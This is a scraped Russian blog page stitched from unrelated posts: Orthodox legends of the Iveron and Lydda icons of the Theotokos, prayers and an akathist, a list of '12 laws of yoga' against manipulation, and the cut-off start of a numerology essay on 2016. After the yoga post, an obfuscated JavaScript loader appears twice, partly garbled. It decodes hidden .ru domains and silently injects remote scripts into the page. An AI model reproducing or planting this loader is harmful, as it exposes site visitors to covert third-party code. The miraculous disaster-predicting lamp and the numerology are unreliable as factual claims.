Чудотворная икона Богоматери в храме Портаитиссы на Афоне стоит на левой стороне от царских врат, несколько выступив. Она невольно обращает к себе взоры молящихся как своим украшением и величественными размерами, так и особенным выражением Святого Лика. Лице Богоматери склонено на левую сторону к держимому Ею Богомладенцу, который десницею благословляет именословно, а в шуйце держит свиток. Вверху по сторонам Богоматерняго венца в углах, образуемых верхним и боковым полями, два архангела, обращенные к Богоматери (Михаил и Гавриил); на двух боковых полях изображены 12 апостолов, по шести на каждой стороне. На правой ланите изображенной Владычицы виден след раны, нанесенной царским надсмотрщиком, потом раскаявшимся.

По описанию русского путешественника Барскаго (1724–1747), св. икона «покрыта вся, кроме лица, среброкованною позлащенною одеждою и кроме того упещрена многоценными каменьями и монетами златыми, от различных царей, князей и благородных бояр дарованными за многая Ея чудотворения, идеже и российских царей и цариц, императоров же и императриц, князей и княгинь монеты же златыя и инны дары повышены видех моими очесы. Сверху же сия св. иконы есть покров с главою, осеняющею ради великолепия, иже есть упещрен мелкими художнотворными и различнозорными кожами маргаритными (то есть, мозаикою из перламутра и индийской черепахи), от него же повышены суть пред святою чудотворною иконою кандилы великия и иныя от чистаго серебра, иныя же сребропозлащены, числом четыренадесять (14). Предстательство же и прилежное смотрение храма сего и благоговейное служение иконе сей имеет один иepoмонax от всех прочих братий избран, аки благоговейнейший и добродетельнейший, иже послушания ради онаго именуется приснопребывающий, понеже инно что не творит, точию тамо внутрь пребывает множайшее время нощеденствия, украшая храм и имея тщание всегдашнее о предреченных четыренадесяти, иже пред иконою, кандилах, да ниединоже от них когда угаснет, имущи к тому и свещу на серебряном свещнице неусыпно горящую и поющи тамо правило и параклисию (молебен Божьей Матери) по вся дни и нощи».

Также пишет Святогорец от 21 июня 1844 года; «В таинственном сумраке небольшого храма, слабо освещаемаго узкими окнами в мерцающем свете нескольких неугасимых огней, мы увидели чудотворную икону Иверской Божией Матери. Строгий вид Божественной Матери наводит невольный трепет на паломников; самый размер и очертание Ея божественнаго лика величественны, и Матерь щедро и утех в этом храме является как будто Матерью правосудия и грознаго Судии. Черты лица Ея чрезвычайно выразительны». На древних списках этой св. иконы в России – Святоозерском и Новодевиченском лик Богоматери нельзя назвать грозным, но выражение его действительно очень серьезно. На других Афонская Иверская икона производит впечатление величия, но не страха; а греческая надпись на списках этой иконы Богоматери в России говорить, что она Портаитисса Иверская милостивая. Судя по знамениям и чудесам от Иверской иконы Пресвятая Владычица является, как и надлежит веровать, милостивою к просящим Ея помощи и заступления и кающимся грешникам, но грозною и наказующею в отношении к врагам св. веры и нераскаянным грешникам.

В соборном храме Иверского монастыря напротив красиво украшенных врат висит большая неугасимая лампада, которую называют «Лампада Вратарницы». Она чудесно качается по горизонтали ритмично в определенные дни. По великим праздникам – во время Богослужения, а по будним дням чаще всего неожиданно и необъяснимо. Движение лампады по будним дням показывает, что надвигается бедствие с глобальными последствиями для мира, например землетрясение, война или смертоносная эпидемия.

Святогорцы рассказывали: перед тем, как турецкие войска напали на Кипр лампада качалась в будние дни так, что масло переливалось через край То же происходило накануне американо-иракской войны. Качалась лампада и перед землетрясением в Армении. Эта лампада Вратарницы одно из самых дивных свидетельств того, что Богородица пребывает постоянно с нами. Через Неё становится зримым на Святой Горе, как бьётся пульс жизни мира.

Когда Иверскому монастырю угрожал голод, Божия Матерь явилась скорбящему настоятелю и послала его в житницу, которая оказалась полной муки. Богоматерь чудесно наполняла сосуды, умножала масло, овощи, избавляла обитель от пожаров, защищала от нашествий врагов.

К замечательным чудесам от иконы относится и то, что находясь при вратах монастырских, она часто не допускает входить в обитель людям, имеющим на душе какой-либо нераскаянный грех. На Святой Горе никто не сомневается в том, что когда Всесвятая Вратарница оставит Афон, то он прекратит своё существование. Это событие будет обозначать, что близок конец всей жизни на Земле, и, поэтому, до недавнего времени, Афонские иноки каждую неделю приходили в часовню проверять, на месте ли Вратарница.

Вблизи Иверского монастыря на берегу моря указывают место, называемое в древности Климентовою пристанью, к которой, по преданию, пристал корабль с Богоматерью.

На Афоне получали примеры истинного монашества и новообращенные славянские народы. Святая Гора стала приютом для множества иноков славян. В первой трети XI века на Афон пришел первоначальник русского монашества преподобный Антоний Печерский. Здесь он принял постриг, прожил много лет, стяжав великие духовные дары, и по повелению Божией Матери возвратился в свое Отечество. Провожавший его игумен произнес пророчество о том, что преподобный станет духовным отцом русского иночества.

Матерь Божия через преподобного Антония благословила Третий Свой Вселенский Жребий – Киевскую Русь, ставшую после Крещения могучей христианской державой. По благословению и с благодатной помощью Пречистой была построена и освящена в Киеве Великая Лаврская Успенская Церковь. Сама Божия Матерь призвала во Влахернский храм Константинополя зодчих греков, вручила им мощи мучеников, повелела построить в Киеве церковь и даровала икону Успения Своего – святыню будущего храма. С того времени главные соборы сменяющих друг друга русских столиц – Киева, Владимира, Москвы – освящались в честь Успения Божией Матери.

В Киеве возвестила Божия Матерь о начале созидания Четвертого Ее Жребия во Вселенной, явившись схимонахине Александре в миру Агафии Семеновне Мельгуновой,| со словами: «Это Я, Госпожа и Владычица твоя, Которой ты всегда молишься. Я пришла возвестить тебе волю Мою. Хочу Я, чтобы не здесь окончила ты жизнь свою, но, как раба Моего Антония вывела Я из Афонского Жребия Моего, Святой горы Моей, чтобы он здесь, в Киеве, основал новый Жребий Мой, так тебе глаголю: изыди отсюда и иди в землю, которую Я укажу тебе. Я воздвигну там великую Мою обитель, на которую низведу все благословения Божий и Мои со всех трех Жребиев Моих на земле – Афона, Иверии и Киева. Иди же в путь, и благодать Божия и сила Моя, благодать Моя и щедроты Мои, и дарования всех святых Жребиев Моих да будут с тобою».
Так Четвертым Жребием Божией Матери вс Вселенной стало Дивеево, то есть Новая Россия – Держава Божией Матери, страна, которой управляет Сама Пресвятая Богородица.

Рассказав о Жребиях Пречистой, обратимся к истории древней Иверской иконы, в судьбе которой чудесным образам связаны все четыре Жребия Царицы Небесной.

Pages: 1 2 3 4

О чудотворной иконе Пресвятой Богородицы Лидской, или Римской

Икона Божией Матери Лиддская

Беларусь, XVII век, чеканка по золоту (сусальному)
Беларусь. Минск, Национальный художественный музей

Память: 9/22 февраля, 12/25 марта

Святой верховный Апостол Петр и святой Апостол Иоанн Богослов, прежде чем отойти им, как прочим Апостолам, в разные концы земли с проповедью Евангелия, сначала проповедовали Христа в ближайших к Иерусалиму окрестных городах.

И когда они были в городе Лидде, который назывался потом Диосполем, и обратили в нем многих ко Христу, то создали там церковь во имя Пречистой Девы Богородицы. Обстоятельства благоприятствовали построению храма. В то время для церкви Христовой наступили мир и спокойствие, так как вскоре же после убиения первомученика Стефана гонение на христиан прекратилось в Иудее. Этому способствовало то обстоятельство, что римский император Тиверий, который много слышал о Христе Господе нашем, повелел не преследовать христиан. Об этом спокойном для Христианской Церкви времени в книге Деяний Апостольских говорится так: «церкви же по всей Иудее, Галилее и Самарии были в покое, назидаясь и ходя в страхе Господнем» (Деян. 9:31). Создав церковь в Лидде, Апостолы Петр и Иоанн отправились в Иерусалим и умоляли Пречистую Деву Богородицу прийти в Лидду посмотреть созданный во имя Ее храм, благословить его и освятить своим пришествием, чтобы моления в нем к Рожденному от Пречистой Богу доходили до Его престола. На такую просьбу апостолов Пречистая сказала: «С радостью возвращайтесь в Лидду: Я буду там с вами». Пришедши снова в Лидду, они увидели в церкви на одном из каменных столбов, утверждающих здание, не рукописанный, но начертанный по Божьему изволению образ Пречистой, представляющий прекрасное изображение лика Ее и всех честных одежд, какие она носила обычно. Увидев это, Апостолы поклонились этому чудотворному и нерукописному образу и воздали благодарение воплотившемуся от Приснодевы Богу Слову. Потом пришла в Лидду и Пресвятая Богородица; увидев образ Свой, а также множество почитателей Своих, по вере во Христа Иисуса, Она возвеселилась духом и подала образу Своему благодать и силу чудотворения.

Прошло после того много лет, на престол римских кесарей вступил Юлиан Отступник, который воздвиг на церковь Христову жестокое гонение. Зная о существовании в Лидде чудотворного образа Пречистой, он послал туда сродника своего, по имени тоже Юлиана, с повелением стереть тот образ. И тогда совершилось предивное чудо. По мере того как каменщики каменотесными орудиями старались стереть образ, — краски и штрихи проникали в глубь каменного столба, и изображение оставалось невредимым, несмотря на все старание каменотесов. Потрудившись долго и ничего не достигнув, они отошли, не будучи в состоянии изгладить священное изображение. Слух о таком дивном чуде распространился во все концы вселенной — и с этого времени множество верующих стало стекаться в Лидду на поклонение чудотворному образу Пречистой.

Далее

18 февраля – иконы Божией Матери, именуемой "Взыскание погибших"

С незапамятных времен русский народ, свято веря во всесильную помощь Пресвятой Богородицы, усвоил Ей именование "Взыскание погибших", как последнему прибежищу, последней надежде погибающих людей.

О происхождении образа "Взыскание погибших" достоверных сведений не сохранилось. Известно несколько чудотворных икон под этим названием, через которые Матерь Божия являла Свою милость людям, уже переступившим порог гибели.

[ Читать дальше ]

Тропарь, глас 7:

Радуйся, Благодатная Богородице Дево, во объятиях Своих Предвечнаго Младенца и Бога носившая. Проси Его дати миру умирение и душам нашим спасение. Сын бо Тебе, Богомати, вещает, яко вся прошения Твоя во благое исполнит. Сего ради и мы припадающе, молим Тя и надеющийся на Тя, да не погибнем, имя Твое именуем: Ты бо еси, Владычице, Взыскание погибших.

Тропарь, глас 4:

Взыщи нас, погибающих, Пресвятая Дево, не по грехом бо нашим наказуеши нас, но по человеколюбию милуеши: избави нас от ада, болезни и нужды и спаси нас.

Кондак, глас 6:

Предстательство христиан непостыдное, ходатайство ко Творцу непреложное, не презри грешных молений гласы, но предвари, яко Благая, на помощь нас, верно зовущих Ти: ускори на молитву и потщися на умоление, предстательствующи присно, Богородице, чтущих Тя.

Молитва:

О, Пресвятая и Преблагословенная Дево, Владычице Богородице! Призри милостивым Твоим оком на нас, предстоящих пред святою иконою Твоею и со умилением молящихся Тебе, воздвигни нас из глубины греховный, просвети ум наш, омраченный страстьми, и уврачуй язвы душ и телес наших. Не имамы иныя помощи, не имамы иныя надежды, разве Тебе, Владычице, Ты веси вся немощи и согрешения наша, к Тебе прибегаем и вопием: не остави нас Твоею Небесною помощию, но предстани нам присно и Твоим неизреченным милосердием и щедротами спаси и помилуй нас, погибающих. Даруй нам исправление греховныя жизни нашея и избави нас от скорбей, бед и болезней, от напрасныя смерти, ада и вечныя муки. Ты бо, Царице и Владычице, скорая Помощница и Заступница всем, притекающим к Тебе, и крепкое прибежище грешников кающихся. Подаждь убо нам, Преблагая и Всенепорочная Дево, христианский конец живота нашего, мирен и непостыден, и сподоби нас Твоим ходатайством вселитися в обителях Небесных, идеже непрестанный глас празднующих радостию славит Пресвятую Троицу, Отца, и Сына, и Святаго Духа, ныне, и присно, и во веки веков. Аминь.

Акафист Пресвятой Богородице Черниговско-Гефсиманской

Акафист Пресвятой Богородице, читаемый пред честной иконой Ея Черниговско-Гефсиманской

Черниговская-Гефсимановская икона Божией Матери

Кондак 1

Избранней от Святыя Троицы, превысшей Небесе и земли, Царице Богородице благодарственная песнопения воспеваем. Ты же, Пречистая, яко имущия державу непобедимую, от всяких нас бед свободи и на всякое разумение настави и к деланию заповедей Сына Твоего приведи, да зовем Ти:
Радуйся, Царице Богородице, упование и прибежище наша.


Икос 1

Во дни оны Пречистая Божия Мати милость Свою граду Чернигову дати восхоте. И се, чудная икона Ея на древе ели явися; тем же и нарицается Черниговская Елецкая. И вернии православнии людие с великою радостию ту икону взяша и Матерь Божию прославиша, глаголюще:

Радуйся, Заступнице усердная рода христианскаго;
Радуйся, Поборнице верных.
Радуйся, яко Тобою радость воссияет;
Радуйся, бесов поражение.
Радуйся, благочестивых озаряющая смыслы;
Радуйся, мудрых века сего посрамление.
Радуйся, море чудес многоводное;
Радуйся, Споручнице грешных усердная.
Радуйся, к Сыну Твоему ходатайство немолчное;
Радуйся, благ вечных Подательнице.
Радуйся, Сокровище многих щедрот;
Радуйся, верных спасение чудное.
Радуйся, Царице Богородице, упование и прибежище наша.

Кондак 2

По времени, грех наших ради, сия икона чудотворная утрачена бе; но не до конца прогневася Пресвятая Богородица и милость Свою граду Чернигову паки возврати. И се, иная чудотворная икона во граде Чернигове явися, во обители пророка Божия Илии; тем же и наречена бе Черниговская Ильинская. Мы же, грешнии, милость Пресвятыя Богородицы прославляем, вопиюще: Аллилуйя.

Икос 2

Многажды прегрешили есмы и каемся трепеща: неужели гнев Господень поразит нас? И паки таяжде творим. И во дни оны святая обитель пророка Илии разорена бе и икона чудная Пресвятыя Богородицы исчезе. Но и списки ея чтимии мнози по земли Русстей распространишася. Мы же, грешнии и смиреннии, яко видехом милость Пресвятыя Богородицы, вопием:

Радуйся, Агнца и Пастыря Мати;
Радуйся, многих зол избавление.
Радуйся, Царице Небесе и земли;
Радуйся, Упование верных.
Радуйся, Столпе веры непоколебимый;
Радуйся, скорбящих Отрадо и Утешение.
Радуйся, Главизно пророческих словес;
Радуйся, мученик светлая Славо.
Радуйся, в терпении помощь всесильная;
Радуйся, падших восстание.
Радуйся, заблуждших вразумление;
Радуйся, Сокровище благих неоскудное.
Радуйся, Царице Богородице, упование и прибежище наша.

Кондак 3

Имущи упование на Тя, всех христиан Надеждо, благочестивая девица Александра, получивши в дар икону сию честную, во граде Чернигове явлену, пред нею же излиющи всю скорбь души своея, вопиющи: Аллилуйя.

Икос 3

Имущи ум в Бозе утвержден и Господу Иисусу и Пречистей Матери Его послужити хотящи, девица Александра икону сию во обитель Гефсиманскую, иже при лавре Сергия преподобного, в рукотвореныя пещеры пожертвовати восхоте, да молятся иноци пред нею, глаголюще:

Радуйся, Христа Бога нашего Пречистая Мати;
Радуйся, Утробо Божественнаго воплощения.
Радуйся, превысшая Небесных воинств;
Радуйся, бесов поражение.
Радуйся, человек упование и утверждение;
Радуйся, наше спасение вечное.
Радуйся, мира неустанная Хранительнице;
Радуйся, земли Русския Предстательнице и Защитнице.
Радуйся, в бурех и напастех пристанище;
Радуйся, просвещение во тьме сущих.
Радуйся, в нуждах скорая Помощнице;
Радуйся, иноцев Наставнице.
Радуйся, Царице Богородице, упование и прибежище наша.

Кондак 4

По прошествии лет Пречистая Дева Богородица сию Свою икону чудесы многими прославити восхоте, да славят людие Московстии благодать Божию, непрестанно зовуще: Аллилуйя.

Икос 4

Во дни оны благочестивая жена Фекла, тяжцем недугом обдержима сущи и николи же исцеление получити сподобльшися, в пещеры Гефсиманстии принесена бе. И абие недуг расслабления остави ю пред лицем людий многих. Тем же и мы благодарно вопием:

Радуйся, всея Вселенныя Мати;
Радуйся, скорбей и печалей наших Утоление.
Радуйся, в бедах и напастех Заступление;
Радуйся, Щите всем чистым сердцем.
Радуйся, просвещение во тьме сущих;
Радуйся, Надеждо благочестивых неизменная.
Радуйся, Взыскание нас погибающих;
Радуйся, христианом ходатайство благоприятное.
Радуйся, Ниво щедрот многоплодная;
Радуйся, Разума свет воссиявшия.
Радуйся, Живот, Истину и Путь нам показавшия;
Радуйся, яко в Рождестве и по Рождестве Дева пребываеши.
Радуйся, Царице Богородице, упование и прибежище наша.

Кондак 5

Вси людие Московстии дивящеся, како в пещерах новозданных таковое чудо явися. И абие святитель Иннокентий, стольнаго града Москвы пастырь, сие чудо испытати восхоте. И в беседе с женою Феклою истину уведый, прослави благодать Божию и милость Царицы Богородицы, вопиюще: Аллилуйя.

Икос 5

От того дне и часа прослави Царица Небесная сию икону Свою чудесы многими; не токмо в земли Московстей, но и паче из многих мест земли Русской людие притекаху и благодати исцелений сподобляхуся. Тем же и мы благодарно вопием:

Радуйся, благословенная в женах;
Радуйся, благая Вратарнице, Небеса открывающая.
Радуйся, Руно орошенное;
Радуйся, Стено необоримая.
Радуйся, Свеще неугасимая;
Радуйся, чудес Подательнице.
Радуйся, ширшия небес;
Радуйся, Скиние святая, в ней же прославися Господь.
Радуйся, Земле обетования;
Радуйся, Кивоте святыни.
Радуйся, человек естество обожившая;
Радуйся, Хлеб животный нам даровавшия.
Радуйся, Царице Богородице, упование и прибежище наша.

Кондак 6

Яко иногда от иконы тоя чудеса течаху обильно и людие православнии милости Господни прославляху; сице и ныне мы, недостойнии, Твоя, Владычице, благодеяния согласно славим, вопиюще: Аллилуйя.

Икос 6

Людие Русскии, благодать Божию славяще и сию икону новоявлену, многими чудесы прославлену, благоговейно лобызающе, вопияху:

Радуйся, Сына Твоего и Бога за нас умоляющия;
Радуйся, ходатайство ко Господу благоприятное.
Радуйся, оружие на врази многовидное;
Радуйся, Покрове овцам Христовым.
Радуйся, духу сокрушенному Отрадо и Утешение;
Радуйся, от напастей вражиих защищение.
Радуйся, Заре света Христова;
Радуйся, возвестившия пленным спасение.
Радуйся, высото несравненная;
Радуйся, горних воинств честнейшия.
Радуйся, Утро, принесшее День;
Радуйся, рождшая Солнце правды.
Радуйся, Царице Богородице, упование и прибежище наша.

Pages: 1 2

Икона Божией матери «Грузинская»

Икона Грузинская Божия. 15-16 век.

Икона Грузинская Божия Матерь
6551 см, 15-16 век
.

Дни празднования:   22 августа/ 4 сентября

В 1622 году, когда произошло покорение Грузии персидским шахом Аббасом, были захвачены многие святыни Грузинской земли для их сбыта русским купцам, бывающим в Персии. Среди похищенных вещей находилась и Грузинская икона Божией Матери, которую один персидский торговец продал Стефану Лазареву, приказчику ярославского купца Егора Лыткина. Образ понравился этому простому русскому человеку, и он с радостью его приобрел.

Икона  Божией Матери "Грузинская" Россия, первая половина XIX века.

Икона  Божией Матери «Грузинская»
Россия, первая половина XIX века.

В 1622 году, когда произошло покорение Грузии персидским шахом Аббасом, были захвачены многие святыни Грузинской земли для их сбыта русским купцам, бывающим в Персии. Среди похищенных вещей находилась и Грузинская икона Божией Матери, которую один персидский торговец продал Стефану Лазареву, приказчику ярославского купца Егора Лыткина. Образ понравился этому простому русскому человеку, и он с радостью его приобрел.

"Грузинская" икона Божией Матери

«Грузинская» икона Божией Матери

Грузия, XVI век
Дерево, левкас, темпера
Переславль-Залесский историко-художественный музей

В 1625 году хозяину Стефана было видение во сне некоей иконы Пресвятой Богородицы, которая, как ему было открыто, находится у его приказчика. Глас повелевал купцу по обретении образа тотчас принести его в Черногорский монастырь на реке Пинеге в Архангельской епархии (монастырь был основан в 1603 году, позднее получил название Красногорского). О своем откровении Егор Лыткин вспомнил только через четыре года, когда возвратился на родину его приказчик Стефан и показал купленную в Персии икону. Увидев образ, купец тотчас вспомнил о бывшем ему видении и, согласно Божиему указанию, немедленно отправился со святыней в Черногорскую обитель.

Акафист Пресвятой Богородице перед иконой, именуемой «Грузинской»

Молитвы ко Пресвятой Богородице пред Ее иконою «Грузинская»

Известно, что к середине XVII века Грузинская икона уже почиталась чудотворной. Так, при самом внесении ее в обитель, получил исцеление монах Питирим, долгое время ничего не видевший и не слышавший.

Далее

12 законов йоги, которые не позволят людям управлять вами.

1. Тебе надо — ты и делай. Каждый раз, когда в разговоре звучит слово «надо», когда речь идёт о долге или обязательствах, стоит задавать вопрос «Кому это надо?». Манипуляторы любят умалчивать о том, что желаемое нужно в первую очередь им. Например, фраза родителей «Тебе надо найти работу», очищенная от манипуляций, будет звучать так: «Мне надо, чтобы ты прекратил сидеть у меня на шее и пошёл работать». А пока отроку не надо идти работать, ему удобно сидится на шее. 

2. Не обещай. Если обещал — выполни. Вспомните, как часто под давлением других людей вы давали необдуманные обещания. Манипулятор будет специально подталкивать вас давать необдуманные обещания, а потом эксплуатировать ваше чувство вины. Просто не обещайте, но если уж пообещали — выполните. Тогда в следующий раз подумаете дважды, прежде чем брать на себя лишние обязательства. 

3. Не просят — не лезь. Часто бывает, что мы, руководствуясь благими намерениями, делаем только хуже. Нас просто не просили о помощи. Потом наши усилия воспринимаются как должное. Ещё хуже, когда вместо одного человека просит другой. Помогая в такой ситуации, мы нарушаем ещё и закон «Тебе надо — ты и делай». Если же вам кажется очевидным, что человек нуждается в помощи, воспользуйтесь возможностью узнать у него, готов ли он принять её именно от вас. Вдруг девушка, у которой застрял каблук в сливной решётке, подстроила это специально, чтобы познакомиться вон с тем симпатичным парнишкой. А вы, бука, взяли и всё испортили. Могли же хотя бы спросить. 

4. В просьбе не отказывай. Любая просьба предполагает благодарность. Манипуляторам свойственно давать пустые обещания или забывать об услугах. Выполняйте просьбу, но не стесняйтесь попросить об ответной услуге. Возможно, даже заранее. 

5. Живи настоящим (а не прошлым и не будущим). Один из самых важных законов, он помогает легко разрушать манипуляции сравнения с тобой в прошлом. Нам никогда не хочется быть хуже самого себя, этим часто пользуются другие люди. Например, манипуляция «Раньше ты таким не был», легко разрушается «Раньше было раньше». Обещания сладкого будущего, посулы половины от шкуры не убитого медведя моментально прекращаются после вопроса «Так это будет потом, а что сейчас конкретно вы предлагаете?». 

6. Не привязывайся. Как часто мы привязываемся к человеку, предмету или занятию? Насколько эта привязанность может быть сильна, не ставя наше душевное равновесие под угрозу? Для каждого свой ответ на этот вопрос. Только помните: с помощью этих эмоциональных связей вас легко шантажировать. Не позволяйте вашим близким становиться домашними террористами, не западайте 

7. Не ставь цель (цель должна служить маяком) Для меня это был самый странный закон. Для меня важно быть целеустремлённым. Для осознания его мудрости мне потребовалось некоторое время. Именно поэтому я предпочитаю его формулировку с дополнением про маяк. Если цель поставлена неправильно, то после её достижения наступает опустошение. Скорее всего, эта цель навязана вам извне. Поэтому всегда задавайте себе или людям, вдохновляющим вас на свершения, вопрос «А что потом?». Приведу в качестве примера еще одну из любимых фраз всех родителей: «Тебе надо получить высшее образование». А что потом? Быть риелтором, торговым консультантом или начинать свой бизнес можно и без высшего образования. 

8. Не мешай. Самый гениальный из всех законов. Им можно и нужно пользоваться и в отношении себя, и в отношении других людей. Фраза «Не мешай, пожалуйста» способна творить настоящие чудеса. Главное — сказать её прежде, чем вы начнёте испытывать раздражение. 

9. У природы нет плохой погоды. Закон с наибольшим философским потенциалом. Он учит использовать любую возможность, в том числе и свои промахи. Его по-разному формулируют в других системах. Например, в НЛП он звучит так: «Не бывает поражений, бывает только обратная связь». Так многие окружающие будут рады напомнить вам о ваших неудачах или пожаловаться на то, как всё плохо вокруг. С помощью этого подхода легко влиять на ваше настроение. В таких случаях помните: не бывает плохого или хорошего, есть только ваше отношение. 

10. Не осуждай, не критикуй. Порой очень тяжело сдержаться и не покритиковать других людей. Только критика никому не нужна — ни вам, ни окружающим. Помните об этом. Когда вас в очередной раз будут осуждать, выслушайте, но не критикуйте в ответ. Вот моя обойма вопросов для таких судей: «И что из этого следует?», «Как ты предлагаешь поменять эту ситуацию?», «Почему ты считаешь, что только твоя оценка ситуации правильная?». А лучше просто не берите дурного в голову, а тяжёлого — в руки. 

11. Не передавай информацию, не сделав её своей (опытом, навыком, умением) Если вы не проверяете ту информацию, которую распространяете дальше, то вы превращаетесь в сплетницу. Вашим словам перестают верить. Этим с радостью воспользуются ваши недруги. Общаясь с другими людьми, уточняйте, как именно они проверили информацию, которую они вам сообщают. Большинство её вообще никак не проверяют, становясь жертвой подковёрных игр или политической пропаганды. 

12. Везде и всегда спрашивай разрешение. Закон из области этикета. Его использование не только застрахует вас от лишних усилий, но и создаст вам имидж вежливого человека. Только спрашивайте с внутренней уверенностью, иначе будете выглядеть, как вечно сомневающийся чудак. Кстати, этот закон я невольно использовал, предлагая спрашивать о том, нужна ли человеку помощь. Точно так же связаны и другие законы друг с другом, создавая тем самым ментальный щит от манипуляций. 

ИЗМЕНЯЯ СОЗНАНИЕ МЫ ИЗМЕНЯЕМ МИР!!! 

Блага Всем! 

Мир Духа!

Источник: pozitiv.donetsk.uol.ua/text/13551344/12-zakonov-yogi-kotorye-ne-pozvolyat-lyudyam-upravlyat-vami/window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20864",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();



window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20864",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

2016 год — Девятка...

...Самой чистой и самой абстрактной формой творения является число. Число, как и всё в нашем мире, обладает полярность. Мы склонны использовать только одну из сторон числа – их количественную, счётную сторону. И, к сожалению, забываем о другой стороне – качественной, повествующей. А думающему человеку как раз и нужен смысл, что позволяет увидеть эта сторона. Число обладает качеством, и эта его составляющая может связать нас с универсальным содержанием, скрытым за всеми формами земли. Именно в числе скрыт смысл любой формы. Есть ли вечный закон, который царит над всем? Есть ли в постоянно меняющемся мире закон, который не исключает ничего? Он должен включать в себя гуманитарные науки точно так же, как и естественные, и, прежде всего, самое себя. Древние символы, древние идеи, древние иероглифы могут быть только абстрактными числами. Идея не нова. Она была известна со времён Пифагора. Законы чисел стары и действуют повсеместно. Числа выдают свою тайну, как только люди начинают осознавать, что числа обладают не только количеством, но и качеством. Числа рассказывают обо всём, о жизни и смерти, о вселенной и человеке. Понимание чисел ведёт к осуществлению древнего желания человека объяснить все феномены космоса из смысла общей формы. С помощью числа можно открыть законы, которые имеют всеобщий характер и тогда станут понятны установки Эйнштейна: "уметь объяснить всё геометрией…" и "природа является воплощением всех простейших мыслимых математических идей". Современный научно мыслящий человек, безусловно, требует языка геометрии и математики. Мы живём в евклидовом пространстве, в мире, имеющем три измерения. Третье измерение – измерение нашего физического мира, проявляет свои законы в простых и гармонических телах, известных нам, как тела Платона. Но чтобы понять третье измерение, необходимо разобраться с двумя предстоящими. В двухмерности закон проявляется в плоских геометрических формах поверхности. А вот первое измерение – это сами числа. Их тайна повторяется во втором и третьем измерениях и поэтому, познавая основные значения чисел, мы познаём наше измерение во всём многообразии его форм и проявлений, а также другие измерения более высокого порядка. Изучая структуру чисел, мы можем совершить экскурс в многомерность, чтобы, в конце концов, опять вернуться к числам – нашей конечной точке, от которой "всё стало быть". Звёзды в своём нескончаемом движении, кружась в космическом пространстве, рисуют невидимые для глаз спирали. Но мы, всё-таки, можем увидеть эти спирали на снимках галактик, подобных нашей галактике Млечный Путь. В спиралевидной галактике ясно видны цифры 6 и 9, переходящие друг в друга. Это единственные цифры выписаны звёздами на небесах. 6 и 9 – оборотные числа, значение которых зависит от "точки зрения", как в прямом, так и в переносном смысле, с какой позиции смотреть Цифровой шифр года… Прежде всего, любой год имеет явный и скрытый числовой шифр. Явный понятно – 16, а вот скрытый, т. е. получаемый эзотерическим сложением и доведением до простого числа у нас получается: 2 + 0 + 1 + 6 = 9. Итак, девятка! Результат такого сложения ещё называют корнем числа. Она замыкает нумерологический цикл натуральных чисел, поэтому наполнено одновременно и 